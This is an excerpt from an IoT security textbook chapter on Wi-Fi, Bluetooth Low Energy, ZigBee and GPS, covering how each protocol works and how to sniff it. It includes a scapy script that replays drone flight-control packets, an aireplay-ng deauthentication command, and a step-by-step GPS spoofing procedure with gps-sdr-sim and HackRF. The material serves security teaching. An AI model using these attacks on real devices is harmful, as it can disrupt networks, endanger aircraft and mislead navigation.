There are multiple versions of Wi-Fi technology including 802.11a, 802.11b, 802.11g, 802.11n, 802.11h, 802.11i, 802.11-2007, 802.11-2012, 802.11ac. There are many differences between versions of Wi-Fi communication parameters, such as bandwidth, distance, speed, etc. 2.4 GHz and 5.8 GHz are regarded as the most commonly used radio spectrums for Wi-Fi. Generally, the transmission distance of Wi-Fi devices used by routers is about 10–50 m, and the transmission distance of © The Author(s), under exclusive license to Springer Nature Singapore Pte Ltd. 2021 Q. Tang, F. Du, Internet of Things Security: Principles and Practice, https://doi.org/10.1007/978-981-15-9942-2_2
33
34
2 The Analysis of Wireless Communication Protocol
Fig. 2.1 Router
commercial Wi-Fi devices used by large shopping malls or operators is about 300 m. The Wi-Fi for short-range communication can reach a transmission speed of 1 Gbit/s. The relationship between access point (AP) and station (STA) existing in a typical Wi-Fi communication network is that the terminal device can be connected to the access point that uses the service set identifier (SSID) to identify and distinguish. Service set identifier includes basic service set identifier (BSSID) and extended service set identifier (ESSID), which are, respectively, the network card address of the access node and the Wi-Fi name that can be searched by terminal devices in the wireless network. The following is an introduction to three types of typical WLAN network topology: 1. Basic service set (BSS) connects to the Internet through access points, which is generally used by personal PCs to access Internet services (Fig. 2.2). 2. The extended service set (ESS) connects multiple BSS channels together through a distributed system (Fig. 2.3). 3. Independent BSS (IBSS), or ad hoc network, is a local area network built by multiple terminal devices without access points (Fig. 2.4). The IEEE 802.11 standard system (Fig. 2.5) mainly modifies the physical layer and link layer of Ethernet OSI, which includes logical link control layer (LLC) and
2.1 Wi-Fi
Fig. 2.2 BSS
Fig. 2.3 ESS
35
36
2 The Analysis of Wireless Communication Protocol
Fig. 2.4 IBSS
Fig. 2.5 IEEE 802.11 standard system
medium access control layer (MAC). The following is an introduction to these layers:
2.1 Wi-Fi
37
1. The physical layer is used to define transmission specifications, transmit and receive bits, generate and delete preface information, and encode and decode signals. The physical layer includes a PLCP (physical layer convergence procedure) layer and a PMD (physical medium dependent) layer. 2. The LLC layer is to provide a service interface for higher layers, manage and control traffic, and deal with errors. 3. The MAC layer is to send data to insert the address and error check fields into the frame and to extract the address and data check information when receiving data. In addition, it also needs to handle other functions related to the upper layer protocol, such as fragment processing, re-uploading, and confirmation of data packets. The MAC layer defines two access methods, namely DCF (distributed coordination function) and PCF (point coordination function). The following is an introduction to the three types of data frames defined in the IEEE 802.11 standard. 1. The management frame handles the access process and disconnection process of the terminal device from the access point. The sub-types of management frames include: association request and response, re-association request and response, probe request and response, authentication and de-authentication, beacon, etc. 2. The control frame promotes the accuracy and stability of the wireless data transmission process, which can be used to correlate the data transmission rate, clear and acquire the channel, provide confirmation of unicast frame, etc. The sub-types of the control frame include request sending, clear sending, confirmation, connecting idle terminals, encapsulating control signals, etc. 3. The data frame transmits data by carrying MSDU (MAC service data unit). The sub-types of data frames include data, QoS, CF-ACK, etc. After understanding the IEEE 802.11 standard system and frame structure, we can have a deeper understanding of the access process of terminal device and access points. The following is an introduction to the three stages of the process: 1. Active and passive methods can be used to scan. A normally operating access point will periodically send beacon frames including the SSID information of the access point. During passive scanning, the terminal device will monitor each channel in turn and record the received beacon frames to form the current Wi-Fi list. When the terminal device actively scans, it will send a probe request frame on each channel. After sending the probe response frame as the reply, the access point is added to the Wi-Fi list. Compared with passive scanning, active scanning consumes more power. 2. In the certification phase, the use of open systems and shared keys was stipulated early. As long as the terminal device sends a connection request, the terminal device is allowed to connect to the network, but in fact, we need to cooperate with other methods to authenticate. Therefore, open system authentication is not secure. Shared key authentication is more secure because the terminal device needs to provide the correct key to connect to the access point. The following is the process of using shared key authentication. First, the terminal device sends an
38
2 The Analysis of Wireless Communication Protocol
identity verification request to the access point; second, the access point sends an encrypted file to the terminal device, and the terminal device uses the password entered by the user to decrypt it. Then, the terminal device feeds back the file to be checked by the access point. If the file conforms with the file recorded by the access point, the access point knows that the terminal device is using the correct key and therefore will grant access to the network. WEP (wired equivalent privacy) was regarded as an authentication protocol in the 1999 version of the IEEE 802.11 standard. However, in 2001, the protocol was pointed out that there were serious security problems. Therefore, it was replaced by WPA (Wi-Fi protected access) in 2003 and was upgraded to WPA2 in 2004. 3. The association phase refers to the operation after the terminal device completes the identity verification. In fact, as a record-keeping process, the association stage makes the access point record the network card address of each terminal device in order to transmit the data to the correct terminal device. The process of association between terminal device and access point is as follows: First, determine that the terminal device sends out an association request frame; second, the access point processes the frame. If the association request is approved, the access point will return the HTTP status code and link identifier; if the association request fails, it will return the HTTP status code and terminate the connection process; when the association process is successfully obtained, the terminal device can obtain Internet data through the access point. Power saving is very important in many wireless communication protocols because the terminal device is driven by a battery and frequent scanning of the access point will consume power extremely. The IEEE 802.11 standard defines a set of energy-saving mechanisms, which enables the terminal device to stay out of sleep mode for a long time without losing data. Theoretically, the access point will maintain a continuously updated list of energy-saving terminal devices and temporarily store data packets sent to these terminal devices until these terminal devices send poll requests to obtain data packets or until they change the operating mode.
2.1.2
Analysis Method
When analyzing communication devices that use Wi-Fi technology, we can usually use packet sniff, test replay attack, and test deauth attack.
2.1.2.1
Packet Sniff
In a Wi-Fi network, there are many tools that can be used to sniff data, including Wireshark, tcpdump, Aircrack-ng, etc. The following is an introduction to the method of using Wireshark to capture packets.
2.1 Wi-Fi
39
Fig. 2.6 Wireshark settings
Since Wi-Fi uses wireless communication, we can use special hardware to obtain information in the 802.11 frequency band. This is the principle of sniff under the Wi-Fi protocol. First, we set the wireless LAN to monitor mode, and then we can see the Wi-Fi network data in the relevant software. If there are multiple Wi-Fi signals in the environment where the sniff tool is located, we can use Wireshark statements (Code 2.1) to filter by MAC address. Figure 2.6 shows the settings in the Wireshark tool. Code 2.1 Filter Commands ether host aa:bb:cc:dd:ee:ff #The filtered targets or source address is aa:bb:cc:dd:ee:ff data package ether dst host aa:bb:cc:dd:ee:ff #The filtered targets address is aa: bb:cc:dd:ee:ff data package ether src host aa:bb:cc:dd:ee:ff #The filter source address is aa:bb: cc:dd:ee:ff data package
If the filter condition is not set in the capture filter, we can use the filter statement in the Wireshark window and filter the relevant data package. Figure 2.7 shows how to use the WLAN contains 62:ff:e7:e1:d3:f0 statement to filter data that contains 62: ff:e7:e1:d3:f0.
2.1.2.2
Test Replay Attack
When the device uses plaintext transmission, or encrypted transmission but does not contain the session token, hackers can affect the normal operation of the device by sending the original message or the modified message. The above is the principle of replay attack. After the manufacturer realizes that the device suffers from this type of shortcomings, data encryption and the addition of tokens in each session can be used as defenses.
40
2 The Analysis of Wireless Communication Protocol
Fig. 2.7 Filter data
This section takes the communication of a certain model of UAV as an example. After the UAV is activated, it will emit a hot spot and connect the remote control and the mobile phone through a data cable. After the UAV-related APP on the mobile phone is automatically activated, the UAV can be connected to the remote control through the mobile phone APP. The flight control commands of the UAV are transmitted through plaintext using UDP protocol, which can be affected by replay attack. The sending of the special structure data package can control the flight path of the UAV. In the testing process, we need to use scapy, which is a Python module that can construct a data package that decodes a large number of protocols. Code 2.2 shows how to install Python2 version of Scapy in Ubuntu system. Code 2.2 Installation # Installation Steps $ sudo apt-get install tcpdump graphviz imagemagick python-gnuplot python-cryptography python-pyx # Installation of scapy $ pip install scapy
During the UAV flight, we connect to its hot spot through a computer and then send control commands to it. Code 2.3 shows the code. Code 2.3 Test Code from scapy.all import * srcIP = '192.168.1.2' # mobile IP dstIP = '192.168.1.1' # UAV IP
2.1 Wi-Fi
41
srcPort =9988 # source port dstPort = 54321 # destination port payload = '\x04\x0bX\x02e\x0b\x00\x00\x00\x01\x00\x03\x00' packet = IP(src=srcIP, dst=dstIP) / UDP(sport=srcPort, dport=dstPort) / payload send(packet)
2.1.2.3
De-authentication Attack Test
The following is the process of de-authentication attack. When the terminal device exits the access point, it sends a de-authentication frame to the access point, which is then deleted from the authorization list by the access point. The attacker can simulate this frame to cause the normal terminal device to suddenly disconnect. Because of the fixed content of the de-authentication frame and the plaintext transmission, it can be forged. The defects caused by this agreement cannot be defended by universal means. Detection tools can be deployed in public places to detect malicious attacks by criminals using this method in time. We can use the aireplay-ng program to test it. Code 2.4 shows the command. Code 2.4 Test Command aireplay-ng -0 1 -a 00:14:6C:7E:40:80 -c 00:0F:B5:34:30:30 ath0
“-0” represents the execution of the de-authentication attack; “1” represents the number of deauths sent (you can change it to any value. “0” represents that keep sending until the command is closed); “-a” represents the MAC address of the target access point; “-c” represents the target terminal device MAC address; “ath0” represents the name of the network interface card. The MAC address of the access point and the target terminal device can be scanned by airodump-ng: 1. Switch the wireless LAN to monitor mode and then use the iwconfig command to view the name of the wireless LAN (Fig. 2.8). 2. We use the airmon-ng command to switch the network interface card to monitor mode. Figure 2.9 shows the network card named wlp3s0 in monitor mode. 3. Scan the network interface card address of the access point with the airodump-ng command (Fig. 2.10). Therefore, the MAC address of the AP is , and the MAC address of the device connected to its STA is C8:3A:35:F1:4A:51. Before the deauth attack, we need to set the channel of the network interface card to the channel where the AP is located. Set the channel of the wireless LAN to channel 9 (Fig. 2.11). Then execute the attack command (Fig. 2.12), where the network interface card is constantly sending DeAuth data package.
42
2 The Analysis of Wireless Communication Protocol
Fig. 2.8 View the name of the wireless LAN
2.2
Low-power Bluetooth
As a technology widely used in short-distance wireless communication, Bluetooth was invented by Dutch engineer Jaap in 1994. The Bluetooth Special Interest Group, initiated by many giant companies in the communications industry, including Intel, Nokia, and Microsoft, is committed to formulating technical specifications and promoting Bluetooth. The Bluetooth protocol, which belongs to the ISM band, has a frequency band of 2.4000 GHz to 2.4835 GHz. There are 10 versions of Bluetooth protocol including classic Bluetooth technology and low-power Bluetooth technology series. Figure 2.11 shows the technical indicators of these two series. Classic Bluetooth technology includes Bluetooth protocol 1.0, 1.1, 1.2, 2.0, 2.1, and 3.0 versions, which are generally used in short-distance and high-transmission scenarios such as Bluetooth headsets and Bluetooth speakers, but it consumes a lot of power. In addition, low-power Bluetooth includes versions 4.0, 4.1, 4.2, and 5.0 of the Bluetooth protocol, which are generally used in scenarios with low transmission rates such as Bluetooth keyboards, mouse, and Bluetooth keys. Classic Bluetooth with a data transmission rate of 1–3 Mb/s takes 100 ms to send data, and its effective distance is 10 m. The low-power Bluetooth with a data transmission rate of 1 Mb/s takes less than 3 ms to send data, and its effective distance is within 100 m. At present, typical IoT devices (such as the smart bracelet in Fig. 2.13) all use low-power Bluetooth technology as a communication method. The following will focus on the details of low-power Bluetooth technology.
2.2 Low-power Bluetooth
Fig. 2.9 Turn on the monitor mode
Fig. 2.10 Scan the address of mac
Fig. 2.11 Set the channel
43
44
2 The Analysis of Wireless Communication Protocol
Fig. 2.12 Executing the command
Fig. 2.13 Smart bracelet
2.2.1
Introduction to the Protocol
The low-power Bluetooth technology and Bluetooth Low Energy initiated by Nokia are designed to reduce power consumption and cost while providing communication range. It is worth mentioning that although the version number of low-power Bluetooth is higher than that of classic Bluetooth, it does not support backwards compatibility. Theoretically, the standard communication rate of low-power Bluetooth is 1 Mbps, that is, the data transmission rate per second is 5–10 kb. However, because the data transmission rate is always affected by the communication distance,
2.2 Low-power Bluetooth
45
Fig. 2.14 AND_IND packet
low-power Bluetooth technology devices will significantly delay response when the distance is too long, so it is more suitable for applications in scenarios where the communication range is within 5 m. Although at a distance of 50 m, low-power Bluetooth can still transmit the data package completely, the battery consumption speed of the device will be significantly improved. Low-power Bluetooth technology adopts broadcast transmission and data transmission. Broadcast transmission is used to discover new devices and obtain device information. The broadcast process can deal with a variety of situations, and there are roles in the broadcast process including broadcaster and observer. The broadcaster periodically sends broadcast packets (AND_IND) that cannot be connected (Fig. 2.14). The observer continuously scans the broadcast packets in a certain area. After the observer receives the broadcast packet from the broadcaster, it can send a scan request packet (SCAN_REQ) to the broadcaster (Fig. 2.15). Then the broadcaster sends a scan response packet (SCAN_RSP) (Fig. 2.16) to the observer and informs more device information about the broadcaster including name, software and hardware version number, etc. Data transmission is used to establish connection and communication between devices. The data transmission process occurs after the device is discovered and the connection is established, and there are central device and peripheral device in the process. After the connection is established, the central device and the peripheral device will exchange data periodically. In order to save power, this periodic process is defined as a connection event, in which two devices will wake up and sleep at the same time until the next connection event. The architecture system of low-power Bluetooth technology can be divided into three layers in order. The following is an introduction to them: 1. The application layer is at the top level;
46
2 The Analysis of Wireless Communication Protocol
Fig. 2.15 SCAN_REQ packet
Fig. 2.16 SCAN_RSP packet
2. The host layer includes generic access profile, generic attribute profile, logical link control and adaptation protocol, attribute protocol, security manager, and host controller; 3. The controller layer includes host controller, link layer, and physical layer. Among the components of these layers, the general property protocol and general access profile that form the foundation of the low-power Bluetooth technology protocol stack are the most basic; the security-related parts are the physical layer, the link layer, and the security manager. Generic access profile supports the aforementioned broadcast transmission and data transmission, so that devices with low-power Bluetooth components are visible,
2.2 Low-power Bluetooth
47
Fig. 2.17 The form of data organization
and the interaction between the two devices is determined. It mainly provides equipment role models, data formats, and operating procedures. Generic attribute profile defines the organization and exchange of data in a low-power Bluetooth connection. Generic attribute profile organizes data by service, and each service distinguished by UUID contains multiple data information (Fig. 2.17). The physical layer that converts analog signals into digital symbols is used in analog communication circuits. The low-power Bluetooth communication frequency band contains 40 channels, including 37 as data transmission and 3 as broadcast transmission. The physical layer uses frequency hopping spread spectrum technology to negotiate different hop values each time when establishing a connection and tune the channel according to the hop value, which minimizes radio interference. The link layer composed of software and hardware interacts with the physical layer. The link layer will use a 48-bit sequence to identify the Bluetooth device address and then establish a connection with the address, where the link layer will distinguish the broadcast packet. The security manager, which contains the algorithm code for generating keys and exchanging keys, guarantees the basic security properties of communication using low-power Bluetooth technology through an encrypted secure link. It is worth mentioning that in security management, the high security level can be configured to hide the Bluetooth address to prevent tracking. Security management mainly supports pairing, binding, and re-encrypted connection of Bluetooth communication. They all need to use keys to ensure security, but the temporary key is used in the pairing process, and the permanent key is used in the binding and reconnection process. In low-power Bluetooth with a complete technical system, a large number of devices containing low-power Bluetooth components have been widely used in the
48
2 The Analysis of Wireless Communication Protocol
medical, entertainment, and health industries, but they still face security challenges. First of all, because the official organization of Bluetooth only defines the protocol content of low-power Bluetooth, manufacturers need to produce software and hardware in specific projects. However, due to the different manufacturing levels, there are big differences between the Bluetooth software and hardware modules; then, the random number generator that is commonly used in encryption protocols will be challenged by the encryption strength being reduced due to insufficient randomness; finally, in general usage scenarios, low-power Bluetooth devices may also be hijacked, eavesdropped, or attacked by middlemen, denied by service attacks, etc. Here are three examples: 1. In 2018, 35 Bluetooth module vulnerabilities in Android systems were disclosed; 2. If the attacker can obtain the pin code derived by the permanent key, then he can connect to the corresponding device; 3. The attacker can simulate the "intermediary device" to establish a connection with both the dual transmitters connected via the Bluetooth protocol. The device can steal and modify communication data in secret.
2.2.2
Introduction to the Analysis Methods
Generally, when analyzing Bluetooth devices, we need to obtain and test communication data. This section analyzes a smart bracelet. It is worth noting that the sniff Bluetooth data package experiment needs to be completed in a shielded room as much as possible; otherwise, it is difficult to locate specific equipment. This section will introduce the components with the CC2540 chip and the Ubertooth one tool in the sniff Bluetooth data tool. The price of the low-power Bluetooth module (Fig. 2.18) and SmartRF Packet Sniffer software of the CC2540 chip developed by TI is about RMB 40, but they can only receive data package. The steps of sniff are as follows: 1. Download and install SmartRF Packet Sniffer, and connect the Bluetooth component to the computer via USB. 2. Open SmartRF Packet Sniffer and select Bluetooth Low Energy protocol (Fig. 2.19), and click “start.” 3. After we enter the device interface, the capture device tab lists the currently available devices. Figure 2.20 shows the CC2540 USB Dongle. 4. After switching to the radio configuration tab, you will find that there are three options in the advertising channel (Fig. 2.21), including the three low-power Bluetooth broadcast channels 37, 38, 39. Select channel 37.
2.2 Low-power Bluetooth
49
Fig. 2.18 Low-power Bluetooth module
5. After clicking the triangle button in the toolbar, the software starts to capture packets. Figure 2.22 shows the data interface. The cost of Ubertooth one tool (Fig. 2.23) and related software to sniff is higher than the above components. The hardware price is about 1200 yuan. However, the more versatile tool supports sending and receiving Bluetooth data package. The steps of Bluetooth data sniff are as follows: 1. The Ubuntu system uses Code 2.5 to install dependent programs. Code 2.5 Installation of the Program sudo apt-get install cmake libusb-1.0-0-dev make gcc g++ libBluetooth-dev \ pkg-config libpcap-dev python-numpy python-pyside python-qt4
2. Compile the libbtbb library that is used to decode the Bluetooth data package (Code 2.6). Code 2.6 Compiler git clone https://github.com/greatscottgadgets/libbtbb.git cd libbtbb mkdir build
50
2 The Analysis of Wireless Communication Protocol
Fig. 2.19 The interface of the software
cd build cmake .. make sudo make install
3. The tool kit for installing Ubertooth tools includes Bluetooth sniff, Ubertooth configuration, and firmware upgrade tools (Code 2.7). Code 2.7 Installation of Ubertooth tools git clone https://github.com/greatscottgadgets/ubertooth.git cd ubertooth/host mkdir build cd build cmake .. make sudo make install
4. The command to install Wireshark is shown in Code 2.8. Code 2.8 Installation of Wireshark sudo apt install Wireshark
2.2 Low-power Bluetooth
Fig. 2.20 Currently available equipment
Fig. 2.21 Select the channel
51
52
2 The Analysis of Wireless Communication Protocol
Fig. 2.22 The interface of data capture
Fig. 2.23 Ubertooth one
5. Set the channel option of the Wireshark software to /tmp/test, click it, and start capturing packets. 6. Capture the package and output it to the /tmp/test file with Ubertooth one. Then enter the command in Wireshark and filter out the connection request and the data package with a non-zero length (Fig. 2.24). Code 2.9 shows the command codes of both. Code 2.9 The Use of Ubertooth One ubertooth-btle –f –c /tmp/pipe btle.data_header.length > 0 || btle.advertising_header.pdu_type == 0x05
When analyzing the communication between a Bluetooth device and a mobile phone, we can capture packets on the mobile phone. Here are the steps.
2.2 Low-power Bluetooth
53
Fig. 2.24 Filtering data package
1. Open the “developer” on the phone and open the “Bluetooth HCI search logs” (Fig. 2.25). 2. Then, the Bluetooth communication data received by the mobile phone will be saved in the file named btsnoop.log. The path of this file can be accessed from the /etc/Bluetooth/bt_stack.conf file by connecting the phone with ADB (Fig. 2.26 shows the location of btsnoop.log of Android system version 7.1.1 of Samsung A7100 phone, namely /sdcard/Android/data/btsnoop.log). 3. Transfer btsnoop.log to the computer via ADB and open it with Wireshark (Fig. 2.27). The method to obtain the Bluetooth data package is described above. When analyzing Bluetooth devices, we often need to send data to Bluetooth devices to test the switch code of related functions or the processing flow of data. Here is an example of a simple version of the mobile application FeasyBlue. Enter the software and select the target Bluetooth device and connect, then you can edit the data package or file and send and receive the return information to the target device (Fig. 2.28).
54
2 The Analysis of Wireless Communication Protocol
Fig. 2.25 Set-up on your phone
2.3
ZigBee
Like Bluetooth, ZigBee, as a wireless communication protocol widely used in IoT devices, aims to cope with the high price, high power consumption, short-distance, complex networking, and the interference of other wireless communication
2.3 ZigBee
55
Fig. 2.26 Relevant files are found
Fig. 2.27 View the contents of the file
protocols (such as Wi-Fi and Bluetooth). ZigBee technology, which was welcomed by many companies when it was first produced in 2003, is widely used in industrial manufacturing, smart device homes, government infrastructure, and other fields such as street lighting systems, home smart meters, etc. Among the most popular IoT devices, a brand of smart home set (Fig. 2.29) uses ZigBee technology.
2.3.1
Introduction to the Protocol
Countries in the world use different ZigBee operating frequency bands. 868 MHz is used in most areas of Europe, 915 MHz in the USA, and 2.4 GHz in most other areas. The maximum value of ZigBee with a lower communication rate is 250 Kbps, which is lower than the speed of Bluetooth and Wi-Fi, but this is also the reason why the cost of ZigBee can be reduced. Low speed makes ZigBee not suitable for video transmission, but suitable for sensors and signal control in industrial environments.
56
2 The Analysis of Wireless Communication Protocol
Fig. 2.28 Acquisition of Bluetooth data package content
ZigBee 1.0 has undergone several updates since it was released in 2004, such as ZigBee 2006 and ZigBee 2007, also known as ZigBee pro. Compared with ZigBee, ZigBee pro significantly improves network expansion, among which single network can support thousands of nodes; large-scale networks are optimized for device address management performance and periodic data collection; group addressing is optimized for data exchange. A complete ZigBee network usually includes a coordinator, router, and terminal device. The total number of these three devices is determined by the type of network. It is worth noting that ZigBee network can only have one coordinator, while router and terminal device can have multiple coordinators. As the foundation of the network, the coordinator will process and store information in the process of sending and receiving data. Acting as the first node to start in the network, it can initialize other parts of the network and specify the frequency. The router acts as a bridge in the network to transfer data to other devices. It can be used as a node connecting many children, extending the communication range to the connection between two
2.3 ZigBee
57
Fig. 2.29 Smart home set
Fig. 2.30 Star topology
devices. A terminal device is a switch that can be controlled by a device that performs a specific function. ZigBee network equipment can form three types of topology including star (Fig. 2.30), tree (Fig. 2.31), and grid (Fig. 2.32). The star topology defined by the IEEE 802.15.4 specification is the simplest topology type in ZigBee networks. In the star topology, the overall network throughput, stability, and networking range are all affected by the coordinator. The network communication range of the tree topology is larger than that of the star topology because the router is used as the intermediate node, the terminal device is used as the leaf node, and the coordinator is used as the root node. However, the tree topology also has a serious flaw, that is, when the router
58
2 The Analysis of Wireless Communication Protocol
Fig. 2.31 Tree topology
fails, some parts of the network will be disconnected. Grid topology solves the serious problem of tree topology through directly connecting the router in the network with any other router or coordinator, which sets up multiple communication lines in the network, so each node will have many different routing connections. In a grid topology, ZigBee needs to have a routing discovery function so that it can find the best route for a given node. Even if a single route fails, the network will still work normally. Commonly used data communication methods in ZigBee networks include unicast, group multicast, broadcast, and bound transfer. Unicast represents that data is sent to a single node. Generally, during the transmission process, it will pass through multiple nodes and quickly reach the final destination through the route discovery algorithm, and then the original node will receive the ACCEPT. When group multicast sends a message to a group of nodes, the group address is also included in the data package sent. Before a node processes information, it should first check whether it is in the group. The broadcast mode is built on the 802.15.4 broadcast mechanism. The following are exceptions: 1. When the network address is set to 0xffff, a message will be sent to all devices;
2.3 ZigBee
59
Fig. 2.32 Grid topology
2. When the network address is set to 0xfffc, messages will be sent to all routers and coordinators. Before the binding transmission, the target node information should have been recorded during the broadcast response and added to the bind list. The message will be routed automatically when communicating with the node again. The following is an introduction to the seven parts of ZigBee's technical system: 1. Application framework is used as the execution environment of user applications to send and receive application data. 2. ZigBee device object can manage ZigBee devices, define device roles, allow discovery of devices, and manage binding requests. 3. The security service provider can provide algorithms for creating and transmitting secret keys and manage equipment and protect frames. 4. As the interface of the network layer, application support screens the data package from the network layer and maintains the bind list of network nodes. 5. Network provides the ability to discover and join the network and support for ZigBee addresses. This is based on an extension of IEEE 802.15.4, allowing grid networking. 6. Media access control is to achieve a function similar to CSMA/CA (carrier sense multiple access with collision avoid). It is implemented completely in accordance with the definition of the IEEE 802.15.4 specification and it defines the frame format and network topology.
60
2 The Analysis of Wireless Communication Protocol
7. The physical layer implemented in accordance with the definition of the IEEE 802.15.4 specification is responsible for data package modulation, demodulation, and transmission, especially dealing with anti-interference situations in noisy environments.
2.3.2
Analysis Methods
When analyzing ZigBee devices, we generally need to sniff communication data. In this section, a certain brand of multifunctional gateway (Fig. 2.33) and a certain brand of smart sockets (Fig. 2.34) will be used to form a network. Then we use TI’s CC2531 chip ZigBee USB Dongle (Fig. 2.35) and TI’s Packet_Sniffer software to capture packets. The following is the process of using the Xiaomi gateway and smart socket to form a network: 1. Install Mijia APP on the phone. Then power on the gateway and find that the yellow light flashes quickly and a voice prompt is received. Open the Mijia APP, you will be notified that there is a new device nearby. Follow the prompts to conFig. the gateway, then power on the Mijia smart socket, and then select the device in the gateway management interface of the Mijia APP (Fig. 2.36). 2. We choose Mijia Smart Socket (ZigBee version) (Fig. 2.37) among the many candidate devices and then follow the voice prompts of the gateway and the prompts on the Mijia APP interface to continue the operation. After we heard Fig. 2.33 Gateway device
2.3 ZigBee Fig. 2.34 Smart socket
Fig. 2.35 ZigBee USB dongle device
Fig. 2.36 Gateway management interface
61
62
2 The Analysis of Wireless Communication Protocol
Fig. 2.37 Choose the smart socket
“connection succeeded,” the ZigBee network between the socket and the gateway is established. The following are the steps to use software and hardware to subcontract the above network: 1. Install the packet capture software Packet Sniffer (Official download address: http://www.ti.com.cn/tool/cn/packet-sniffer) on Windows 10 and then connect the hardware device. It is worth noting that if readers use the software on Windows 10, they need to use a third-party driver installation tool to search for related drivers.
2.4 GPS
63
Fig. 2.38 Packet Sniffer Software Interface
2. Run Packet Sniffer software and select ZigBee protocol (Fig. 2.38) in the interface and click “Start.” 3. After entering the sniff interface, the text box below “select capturing devices” will display the device information (Fig. 2.39), which indicates that the USB Dongle hardware can work normally and capture packets. 4. Adjust the channel parameters (Fig. 2.40) and ensure that it is consistent with the actual working channel of the target ZigBee device. 5. Click the triangle button in the toolbar to start capturing packets. The data package information interface that has been obtained later will be listed (Fig. 2.41).
2.4
GPS
GPS signal receiver module is a component frequently used by IoT products, including car entertainment system, drive recorders (Fig. 2.42), smartphones, etc. GPS (global positioning system), originated from Navstar GPS, is a satellite-based
64
2 The Analysis of Wireless Communication Protocol
Fig. 2.39 Device information
radio navigation system owned by the US government and operated by the US Air Force. GPS aims to provide a variety of complex weather services around the world with 10 m accuracy, including location information services, speed information services, and time information services. With a long history, it can provide navigation information such as three-dimensional position, speed, and precise timing. In 2000, it had an accuracy of 5 m, and in 2018 it had an accuracy of 30 cm.
2.4.1
Principles
According to the mathematical principle called the three-side method (Fig. 2.43), when there are at least four satellites above the GPS signal receiver, we can calculate the current position based on the distance of each satellite. GPS currently accepts services provided by 24 satellites in operation, which enables more than 4 satellites to provide signals at the same time in most areas of the earth. The receiver calculates the distance to the satellite by the time it takes to receive the satellite signal. In addition, because the satellite runs in a predictable orbit, the actual position of the satellite can be predicted. Then according to the position of the four satellites and the distance from the receiver, the position information of the receiver can be calculated. The adjustment of the time scale is quite challenging.
2.4 GPS
65
Fig. 2.40 Select the channel
Therefore, the atomic clock is used in each GPS satellite to provide nanosecond time information. The receiver itself uses an ordinary quartz clock, so it will constantly reset to receive high-precision time information from the satellite. The lag time due to receiving the signal is the radio transmission time, and then we can calculate the distance through multiplying it by the radio propagation speed. The GPS receiver predicts the position of the satellite based on the data table stored in the device. Since the orbit of the satellite is constantly changed by the gravity of the moon and the sun, the information in this table will be invalid. The GPS manager needs to send any adjustments to the satellite position as part of the satellite signal to all GPS receivers. The location accuracy provided by GPS will also be affected in other ways. For example, when radio transmission encounters the atmosphere, it will slow down, and the radio will produce reflections. These deviations can be corrected by the differential global positioning system, and the base station is used to send the error data to the GPS receiver.
66
2 The Analysis of Wireless Communication Protocol
Fig. 2.41 Data package interface
Fig. 2.42 Drive recorder
2.4.2
Analytical Method
The previous article has shown that IoT devices use GPS signal receivers to calculate radio information to obtain location information. The receiver does not determine the source of the radio information. If it receives the wrong message, it will calculate the location of the error. Moreover, the GPS signal is not encrypted, and the signal format is also visible to the public, so it is feasible to forge GPS signals to deceive GPS receivers within a certain range. Therefore, the analysis of GPS receivers is mainly through signal forgery. At the same time, this technology can be used to prevent UAV scenarios in airports or important public facilities. The steps to use the HackRF device for forging GPS signals are as follows: 1. When assembling the hardware (Fig. 2.44), screw the antenna to the antenna interface on the left, and insert the GPS clock module into the female header at the
2.4 GPS
Fig. 2.43 Principles of GPS
Fig. 2.44 Hardware device
Fig. 2.45 Isolate pin header and clock module
67
68
2 The Analysis of Wireless Communication Protocol
bottom right, and align it to the right. It is worth noting that the clock module may be in contact with the pin headers next to the female header, so a piece of paper is needed to isolate the pin header from the clock module (Fig. 2.45). 2. Code 2.10 shows the command to install the HackRF software tool on the Ubuntu system. Later readers will find more software beginning with hackrf, such as hackrf_cpldjtag, hackrf_debug, hackrf_info, hackrf_spiflash, hackrf_sweep, hackrf_transfer. Among them, hackrf_info can be used to view the current device information. Code 2.10 Install hackrf tool sudo apt install hackrf
3. The command to install gps-sdr-sim is shown in Code 2.11. It will generate gpssdr-sim file after finishing the command. Code 2.11 Installation of gps-sdr-sim git clone https://github.com/osqzss/gps-sdr-sim.git cd gps-sdr-sim gcc gpssim.c -lm -O3 -o gps-sdr-sim
4. Code 2.12 shows how to use gps-sdr-sim to generate gpssim.bin file. The -e parameter represents the use of ephemeris file Brdc3540.14n. The latest ephemeris file can be downloaded at ftp://cddis.gsfc.nasa.gov/pub/gps/data/. The three numbers after the -l parameter indicate latitude, longitude, and altitude. -b 8 means using the data format I/Q corresponding to the hackrf tool. Code 2.12 Generate gpssim.bin ./gps-sdr-sim -e brdc3540.14n -l 35.681298,139.766247,10.0 -b 8
5. Code 2.13 shows the command to use hackrf_transfer to transmit GPS data. -t gpssim.bin means to obtain data from the file; -f parameter means that the transmitted signal frequency is 1,575,420,000 Hz, which is the frequency of the civil GPS L1 signal; -s parameter means that the sampling rate is 2.6 MHz; -a 1 means turn on antenna gain; -x 0 means that the antenna gain is 0 db. The parameter value range is an integer of 0-47db. -R means cyclic transmission. Code 2.13 Transmit GPS data hackrf_transfer -t gpssim.bin -f 1575420000 -s 2600000 -a 1 -x 0 -R
6. In the positioning mode of the test mobile phone, select “locate only by GPS” (because the mobile phone software will also locate through base stations, Wi-Fi, etc., so if multiple positioning methods are turned on at the same time, the positioning will not be deceived). Check the current position (Fig. 2.46) with “GPS test” application on the mobile phone, and we will find that the information displayed is the same as the latitude and longitude we are forging.
2.4 GPS
Fig. 2.46 Current location information
69
Chapter 3
Basic Knowledge of Firmware
This chapter will introduce the working principle of the firmware of general IoT products. Most IoT products have rich functions. The collection of software running in an IoT operating system like windows or centos is called firmware, which is generally an embedded Linux system or an Android system. A thorough analysis of the firmware helps security researchers identify all security issues in IoT products. This chapter includes not only the basic knowledge of computer composition and principles, but also the complete information needed to help readers understand the working principles of IoT firmware: such as the boot loader of the embedded Linux system, kernel and user mode processes, file systems, hardware drivers, cross compilation and debugging, etc. After reading this chapter, readers will be able to discover and analyze simple security vulnerabilities in smart devices.
3.1 3.1.1
Architecture and Operating System CISC and RISC
